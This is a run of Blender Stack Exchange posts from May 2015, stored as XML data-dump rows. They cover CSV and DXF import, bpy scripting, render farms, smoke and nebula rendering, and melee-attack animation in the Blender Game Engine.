  <row Id="30762" PostTypeId="2" ParentId="30757" CreationDate="2015-05-12T06:18:20.223" Score="3" Body="&lt;p&gt;There is this .csv import script: &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?211735-A-Script-to-Import-a-CSV-File-and-Create-Meshes-(for-Blender-2-5x-or-later)&quot; rel=&quot;nofollow noreferrer&quot;&gt;BA thread&lt;/a&gt; (which might or might not work for you)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is related: &lt;a href=&quot;https://blender.stackexchange.com/questions/27536/csv-import-pointcloud-into-blender&quot;&gt;Csv Import pointcloud into Blender&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your data format is really custom and nothing helps, you have 2 options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Export something standard which blender and other software understands &lt;em&gt;(I recommend)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;.mdd Lightwave point cache file (load into MeshCache modifier)&lt;/li&gt;&#xA;&lt;li&gt;.pc2 point cache file (load into MeshCache modifier)&lt;/li&gt;&#xA;&lt;li&gt;.obj sequence imported as mesh shape-keys: &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?292968-AddOn-Import-OBJ-Sequence-As-Shape-Keys(on-one-object)&quot; rel=&quot;nofollow noreferrer&quot;&gt;BA thread&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Write a custom importer script that can interpret your custom .csv data.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender API&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;There are templates for import/export scripts in Text Editor&lt;/li&gt;&#xA;&lt;li&gt;You can see other scripts and how they work in &lt;code&gt;\&amp;lt;blender version&amp;gt;\scripts\addons\&lt;/code&gt; &lt;em&gt;- also good to see how formats from option 1 work&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-05-12T07:28:40.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30763" PostTypeId="2" ParentId="30737" CreationDate="2015-05-12T07:53:46.317" Score="2" Body="&lt;p&gt;I think zeffii is close to the right answer but I can't get it to work. Meanwhile I found on the Blender documentation page an operator that works if invoked properly. I wish to avoid using operators but here you go. Let's say you have a group called my_group, adding an instance to the scene works with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.object.group_instance_add(&#xA;    name='my_group', group='my_group', view_align=False,&#xA;    location=(0.0, 0.0, 0.0),&#xA;    rotation=(0.0, 0.0, 0.0),&#xA;    layers=(True, False, False, False, False,&#xA;            False, False, False, False, False,&#xA;            False, False, False, False, False,&#xA;            False, False, False, False, False)&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please note that name and group parameters require the same value (here 'my_group') so that this works.&lt;/p&gt;&#xA;" OwnerUserId="13633" LastEditorUserId="23005" LastEditDate="2016-03-29T11:03:59.767" LastActivityDate="2016-03-29T11:03:59.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30765" PostTypeId="2" ParentId="30755" CreationDate="2015-05-12T08:22:56.877" Score="8" Body="&lt;p&gt;To setup a render farm you need multiple computers that can talk to each other over a network. Then you setup one as a master and the others as slaves that will get their workload from the master.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender includes a network render addon that just needs to be enabled in preferences then configured on each machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://flamenco.io/&quot;&gt;Flamenco&lt;/a&gt; is the new network render project being worked on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a small farm you can also manually start blender on each machine, giving each a different range of frames to render. With *nix machines this can be done through an ssh connection with &lt;code&gt;blender -b myscene.blend -s 1 -e 10 -a&lt;/code&gt;, this can be expanded to a script that can automate sending the command to each machine for you.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-05-12T08:22:56.877" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30766" PostTypeId="2" ParentId="2050" CreationDate="2015-05-12T09:07:37.647" Score="1" Body="&lt;p&gt;I've been looking into this. Although Huff is a great lossless format, its lossless. From my experiments, the QT rle / QT Animation seems to work perfectly. It seems to not be affected by the compression settings but it uses about 10% the file size of HuffYUV.&lt;/p&gt;&#xA;" OwnerUserId="14301" LastActivityDate="2015-05-12T09:07:37.647" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30767" PostTypeId="1" CreationDate="2015-05-12T11:38:36.163" Score="0" ViewCount="138" Body="&lt;p&gt;So I currently have this string: &quot;//..\Desktop\vine.png&quot;&#xA;However, to use it when loading an image I need the \ to be \\ , so:    &quot;//..\\Desktop\\vine.png&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;path = &quot;//..\Desktop\vine.png&quot;&#xA;image = bpy.data.images.load(path)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried using&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.path.abspath(path)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;however this is what it throws back at me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KCZnA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason it changes the &quot;v&quot; to &quot;x0b&quot; and doesn't change the last \ to a \\&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas why this might be? Or any other methods to change the \ to \\&lt;/p&gt;&#xA;" OwnerUserId="14265" LastActivityDate="2015-05-12T11:38:36.163" Title="&quot;bpy.path.abspath&quot; not working properly" Tags="&lt;python&gt;&lt;image&gt;&lt;path&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-05-12T15:10:30.423" ContentLicense="CC BY-SA 3.0" />
  <row Id="30771" PostTypeId="2" ParentId="30648" CreationDate="2015-05-12T15:22:32.850" Score="0" Body="&lt;p&gt;I ended up turning on Auto-Smooth and then making the transition between the sides of the hull and the bottom (specifically, the edge along the bottom of the poly in which the torpedo tube was cut) sharp, and that fixed it. It's not exactly how I wanted the contour to look, but it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UNw8T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7576" LastEditorUserId="7576" LastEditDate="2015-05-13T22:58:15.490" LastActivityDate="2015-05-13T22:58:15.490" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30772" PostTypeId="1" CreationDate="2015-05-12T15:46:11.313" Score="2" ViewCount="703" Body="&lt;p&gt;I want to create models for website and interact with it. I chose Blender since it is open source. My intention is to create some model, say a table and export to webGL. How can I export the model using Blender in order to view it in a webpage? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14310" LastActivityDate="2015-05-12T16:52:53.727" Title="Exporting to WebGL" Tags="&lt;export&gt;&lt;webgl&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ClosedDate="2015-05-12T19:51:55.770" ContentLicense="CC BY-SA 3.0" />
  <row Id="30773" PostTypeId="2" ParentId="30772" CreationDate="2015-05-12T15:55:09.587" Score="1" Body="&lt;p&gt;For Blender prior to version 2.6 you can use the Blender &lt;a href=&quot;https://code.google.com/p/blender-webgl-exporter/&quot; rel=&quot;nofollow&quot;&gt;WebGL exporter&lt;/a&gt; wich exports to json..It supports native WebGL. Looks like the script is no longer maintained..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you should also have success with formats like obj, collada or md2.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-05-12T16:52:53.727" LastActivityDate="2015-05-12T16:52:53.727" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30774" PostTypeId="2" ParentId="29067" CreationDate="2015-05-12T16:28:56.507" Score="2" Body="&lt;p&gt;Use the line set copy and paste commands.  They are available in a pull-down menu just below the plus and minus buttons next to the list of line sets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YOELG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1561" LastActivityDate="2015-05-12T16:28:56.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30776" PostTypeId="1" AcceptedAnswerId="31913" CreationDate="2015-05-12T18:33:13.760" Score="19" ViewCount="4399" Body="&lt;p&gt;I'm trying to create a Nebula walk through using Blender but my final art is unrealistic. I would like to create a realistic nebula without Image backgrounds... I used particle System and clouds, but the isn't realistic.&#xA;Any suggestion? Or tutorial?&#xA;Thans in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update 1: It seems that the best approach is using the &quot;Quick effect smoke.&quot; I'm working on it and here you can find my first render...&#xA;&lt;img src=&quot;https://i.stack.imgur.com/EcYw4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update 2: More tests. Now the background is a Ocean System and Clouds with Particle System... I think looks better...&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MCSlw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final Update: The easyest way is create an Ocean (via Ocean System) in Cycles render and some durst and stars (via particle System) in Blender render; and mix both scenes in Compositor. Here you can find the final render...&#xA;&lt;a href=&quot;https://youtu.be/-Lx_U_Z3Z6s&quot; rel=&quot;noreferrer&quot;&gt;https://youtu.be/-Lx_U_Z3Z6s&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14314" LastEditorUserId="14314" LastEditDate="2015-05-27T20:45:08.287" LastActivityDate="2016-11-13T17:09:59.277" Title="How to create a Nebula in Cycles?" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;" AnswerCount="4" CommentCount="6" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30777" PostTypeId="1" CreationDate="2015-05-12T19:27:21.740" Score="3" ViewCount="1111" Body="&lt;p&gt;I've been using the VSE for awhile now and have yet to encounter this problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I finished editing my video and clicked render animation. Everything seemed to be going fine. After the video finished rendering I went back through to watch the rendered video and it was just a black screen with no sound. Image overlays I had added to the video would still show up at the appropriate times, but no video or sound. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried reloading the file and restarting Blender, but neither of these things works. Can anyone give me any advice? It took me 3 hours to finish editing this video and now it's just gone. &lt;/p&gt;&#xA;" OwnerUserId="14317" LastActivityDate="2015-11-06T01:38:39.050" Title="Using VSE. Rendered video and now nothing is showing up." Tags="&lt;editing&gt;&lt;video-sequence-editor&gt;&lt;video&gt;&lt;audio&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30778" PostTypeId="1" AcceptedAnswerId="34085" CreationDate="2015-05-12T19:35:05.650" Score="2" ViewCount="209" Body="&lt;p&gt;I was messing around with render layers and passes in cycles and was trying to render a layer where object1 was intersected by object2 however object2 was on a separate layer that was not being rendered; so instead of object1 being cut in half and the portions of object1 would not not be visible had all the layers been rendered remaining invisible, ( was hoping they would be transparent) they are visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the image with all the layers rendered at once:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vPfS8.png&quot; alt=&quot;rendered image with all layers&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the layer with only object1 rendered (note: it is reflecting objects from other layers but the objects themselves are not rendered):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E6CgP.png&quot; alt=&quot;layer with object1 only&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll notice that the portion where the cube is in front of the glossy pain (object1) and more visibly where the glossy pain intersects the ground (in this case both the ground and the cube are object2) are rendered, however I wish to have theses arias of the glossy pain to be hidden so that this layer can be used in compositing. Is there a way to do that? I'm thinking something to do with the Light Path node in object1's texture but I can't figure it out. If this question doesn't make sense or you need clarification let me know.&lt;/p&gt;&#xA;" OwnerUserId="14316" LastActivityDate="2015-07-16T15:11:22.800" Title="How to hide a portion of a mesh that is blocked by another mesh on a nonrendered layer" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;&lt;render-layers&gt;&lt;path&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30779" PostTypeId="1" CreationDate="2015-05-12T20:09:37.333" Score="1" ViewCount="179" Body="&lt;p&gt;I made a test cube to begin learning how to texture in the BGE. Although the texture shows in texture paint and in the UV editor, my cube is blank when imported into unity as if I hadn't applied anything. My blend is below. Thank you for the help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.filedropper.com/testtexture&quot; rel=&quot;nofollow&quot;&gt;http://www.filedropper.com/testtexture&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14319" LastEditorDisplayName="user1853" LastEditDate="2015-05-12T20:58:11.840" LastActivityDate="2015-05-12T20:58:11.840" Title="Texture not showing up" Tags="&lt;uv&gt;&lt;unity&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30781" PostTypeId="1" AcceptedAnswerId="30791" CreationDate="2015-05-12T21:42:14.107" Score="2" ViewCount="222" Body="&lt;p&gt;So I need to create smoke because I'm doing a render of a crashing plane. What I was wondering is that do people only simulate smoke or do they sometimes model it? I've seen people do both but I was wondering which way works well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: I'm not sure if it changes anything but I use cycles.&lt;/p&gt;&#xA;" OwnerUserId="9711" LastActivityDate="2015-05-13T06:45:46.647" Title="How would people usually create smoke?" Tags="&lt;modeling&gt;&lt;cycles-render-engine&gt;&lt;smoke-simulation&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30782" PostTypeId="1" AcceptedAnswerId="30784" CreationDate="2015-05-12T22:21:11.037" Score="1" ViewCount="103" Body="&lt;p&gt;Often times in video games that use melee combat, there are three or four preset animations that play through when you swing your weapon; however, the higher end games have different strokes that play depending on which way you are moving your mouse or have recently moved your mouse, effectively giving you the ability to control where you attack, and requiring more skill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I implement this in the Blender Game Engine? I want to play a different animation or attack based on which direction my mouse has just moved.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="2217" LastEditDate="2015-05-13T00:06:03.687" LastActivityDate="2015-09-12T21:18:23.853" Title="How can I attack to different portions of the screen?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;workflow&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30783" PostTypeId="2" ParentId="30782" CreationDate="2015-05-12T22:21:11.037" Score="1" Body="&lt;p&gt;After trying to solve this problem by myself for almost my entire blender career, I stumbled across a solution. This is a no python approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea is to have an empty, offset from the player, and &quot;slow parented&quot; to the player that two specialized bones track toward. By animating a normal downward chopping motion, as well as the &lt;em&gt;influence&lt;/em&gt; value of the track-to bone constraint, we can cause the player to chop across in his upper arc.&#xA;This comes at the expense of variation as the player can't chop up from a downward position or thrust.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 1&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For you basic setup, you will need to create three extra bones: one for each shoulder, and one that control those two so they don't point inward. You will also need to create a &quot;plain axis&quot; empty that the control bone tracks to. &#xA;Add a track to bone constraint on the control bone and set it's target as the empty, which will need a slight upward and forward offset (see figure 1). Parent it to the player and give it some slow parent value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/USPwT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;figure 1&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QHDrr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 2&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Animate your chopping motion; it should provide all the functionality you'll need. &lt;em&gt;note: do not animate the shoulder bones as this might interfere with the essential tracking.&lt;/em&gt;&#xA;Also animate the influence of the track-to constraint, starting at 1, staying at 1 until shortly before the end, and then moving to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/K83Gj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 3&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Switch to the logic editor and add a &lt;strong&gt;mouse-click&lt;/strong&gt; sensor, an &lt;strong&gt;AND&lt;/strong&gt; controller, and a &lt;strong&gt;Action&lt;/strong&gt; actuator, set to &lt;em&gt;play&lt;/em&gt; mode and with the chopping/turning of the shoulders action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jw7VL.png&quot; alt=&quot;[figure 3]()&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viola! looks a bit awkward, but hey, that's the cost of beheading people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/227/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=227&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(edit) you will also need a run-armature actuator&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-09-12T21:18:23.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30784" PostTypeId="2" ParentId="30782" CreationDate="2015-05-12T22:22:21.067" Score="1" Body="&lt;p&gt;Another way to do this creates more variation of animation, but grants the player less control. (Maybe a good thing?) This is &lt;em&gt;another&lt;/em&gt; no python approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need the empty from the other answer, but aside from that, it's a whole new experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea is to have 9 planes, all representing a different areas of the screen. by creating an action for each direction of swing, based on which plane is moused over, you give the player the ability to attack to the nine different portions, respectively, including a thrust, upward swings, and all normal downward chops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cECEv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After creating the planes and putting them in position in front of the camera, you will need to parent them to the floating empty, who's lag will mean that shortly after the mouse moves, there will be time to &lt;strong&gt;mouse_over&lt;/strong&gt; and &lt;strong&gt;mouse_click&lt;/strong&gt; the invisible, &lt;em&gt;sensor&lt;/em&gt; physic type planes.&#xA;By parenting them all to the empty, rather than all to the player, we avoid potential overlapping: i.e. they will stay the same in relation to each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After creating all the animations* (thrust for the center) we can give each plane it's necessary logic-sending a &lt;strong&gt;message&lt;/strong&gt; with it's ID number to the armature so it knows which animations to play.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;the combination of several animations per screen area and a random sensor can make for very interesting combat. :)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-05-12T22:22:21.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30785" PostTypeId="2" ParentId="12358" CreationDate="2015-05-12T22:38:23.033" Score="0" Body="&lt;p&gt;Try investigating your Pointing Device's properties, eg. by clicking its teensy little icon in your taskbar (eg. &quot;Synaptics&quot; on my v.low spec netbook) or I suppose you might use Windows Device Manager etc. I found a fantastic little sub- sub- sub- menu which constrains dragging to horizontal or vertical via user assignment of some 'modifier' key (left shift, right control etc). It actually works brilliantly, especially in conjunction with Blender's &quot;Roll&quot; commands (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Numpad 4&lt;/kbd&gt; or &lt;kbd&gt;Numpad 6&lt;/kbd&gt;) which tweeks the view in fixed 15° increments for straight lines at the most common geometric angles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do have to watch for key conflicts (I set vertical / horizontal constraint to the right control key for example, which Blender reads as 'invert sculpt brush action' so I have to &lt;em&gt;pre-invert&lt;/em&gt; explicitly via the toolbox button) but it's well worth the trouble given the possibilities it opens up.&lt;/p&gt;&#xA;" OwnerUserId="14320" LastEditorUserId="2217" LastEditDate="2015-05-13T00:04:11.757" LastActivityDate="2015-05-13T00:04:11.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30786" PostTypeId="2" ParentId="6530" CreationDate="2015-05-13T00:06:02.420" Score="1" Body="&lt;p&gt;Here's a full code sample that should work. It uses the spiral iteration technique in the tutorial.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;rows = 3&#xA;columns = 3&#xA;&#xA;def spiral(X, Y):&#xA;    scn = bpy.context.scene&#xA;    x = y = 0&#xA;    dx = 0&#xA;    dy = -1&#xA;    for i in range(max(X, Y)**2):&#xA;        if (-X/2 &amp;lt; x &amp;lt;= X/2) and (-Y/2 &amp;lt; y &amp;lt;= Y/2):&#xA;            bpy.ops.mesh.primitive_cube_add(location = (x, y, 1))&#xA;            obj = bpy.context.active_object&#xA;&#xA;            scn.cursor_location = obj.location&#xA;            scn.cursor_location.z -= 1&#xA;            bpy.ops.object.origin_set(type=&quot;ORIGIN_CURSOR&quot;)&#xA;            obj.scale = (0.5, 0.5, 7)&#xA;&#xA;            bpy.ops.object.transform_apply(scale=True)&#xA;            bpy.ops.anim.keyframe_insert_menu(type='Scaling')&#xA;&#xA;            action = obj.animation_data.action&#xA;            action.fcurves[0].lock = True&#xA;            action.fcurves[1].lock = True&#xA;&#xA;            bpy.context.area.type = 'GRAPH_EDITOR'&#xA;&#xA;            step = 20000 / (rows * columns)&#xA;            fp = r&quot;C:\Folder\Anotherfolder\Cool song.mp3&quot;&#xA;            bpy.ops.graph.sound_bake(filepath=fp, low=i*step, high=i*step+step)&#xA;            action.fcurves[2].lock = True&#xA;&#xA;        if x == y or (x &amp;lt; 0 and x == -y) or (x &amp;gt; 0 and x == 1-y):&#xA;            dx, dy = -dy, dx&#xA;        x, y = x+dx, y+dy&#xA;&#xA;spiral(rows, columns)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="10911" LastEditorUserId="5113" LastEditDate="2015-05-13T00:22:37.783" LastActivityDate="2015-05-13T00:22:37.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30788" PostTypeId="1" CreationDate="2015-05-13T04:51:00.980" Score="7" ViewCount="27142" Body="&lt;p&gt;I am a noob with blender. Please be as specific as possible. College students have been doing this for me, but I am unable to understand them.&lt;/p&gt;&#xA;" OwnerUserId="14325" LastActivityDate="2018-03-28T20:09:48.720" Title="How do I import a dxf?" Tags="&lt;import&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30789" PostTypeId="2" ParentId="30555" CreationDate="2015-05-13T05:04:16.790" Score="7" Body="&lt;p&gt;Looking at the specs form the &lt;a href=&quot;http://www.sony.net/Products/SC-HP/new_pro/may_2014/icx825_e.html&quot; rel=&quot;noreferrer&quot;&gt;manufacturer&lt;/a&gt; you can see the dimensions of the sensor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jxuDy.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using simple math you can determine the sensor's active area to be 8.78mm wide and 6.61mm tall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Input those on the vertical and horizontal size values for the sensor and create a preset for future use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wJJys.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set the lens and field of view. to 1.8mm and 185 degrees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VQk63.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now set the render size on your scene to the dimensions of your camera:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q0xWc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-05-13T05:04:16.790" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30790" PostTypeId="2" ParentId="30788" CreationDate="2015-05-13T05:15:15.700" Score="16" Body="&lt;p&gt;There are various dxf import / export plugins, but they are not enabled by default. One of these is specifically for Import (read carefully).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &lt;em&gt;User Preferences&lt;/em&gt; window find the &lt;em&gt;Add-ons&lt;/em&gt; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VIQFA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then when it's ticked, the &lt;code&gt;.dxf&lt;/code&gt; import option becomes available in the File-&gt;Import menu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BtVlO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-13T05:22:13.963" LastActivityDate="2015-05-13T05:22:13.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30791" PostTypeId="2" ParentId="30781" CreationDate="2015-05-13T06:45:46.647" Score="2" Body="&lt;p&gt;It depends. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By manually creating the smoke you have as much control as you like, but it will take more time (at least more of &lt;em&gt;your&lt;/em&gt; time. Smoke sims can take awhile)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more realistic results, animations, or less manual work, the simulator sounds like the way to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd recommend trying to simulate it first, then moving to alternate methods if you are not satisfied.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-05-13T06:45:46.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30792" PostTypeId="1" CreationDate="2015-05-13T07:50:01.837" Score="1" ViewCount="724" Body="&lt;p&gt;I started working on something in a new scene and for some reason the total face/tri/vertex count for everything in the layer i am on is not showing. This never happened before, is there a way to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8MA16.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14326" LastActivityDate="2015-05-13T10:41:52.473" Title="World view does not display face/vert count" Tags="&lt;modeling&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-05-13T10:11:01.330" ContentLicense="CC BY-SA 3.0" />
  <row Id="30795" PostTypeId="2" ParentId="30792" CreationDate="2015-05-13T08:24:08.377" Score="3" Body="&lt;p&gt;The vertex count uses objects in visible &lt;em&gt;render&lt;/em&gt; layers. If you are on a layer which is not visible in the scene renderlayers, then this is what happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eiOqc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because the info panel displays scene wide information, but the visible viewport layers can be different between multiple viewports. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the viewport layers are locked to the scene layers by default, this doesn't happen all the time.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-05-13T10:41:52.473" LastActivityDate="2015-05-13T10:41:52.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
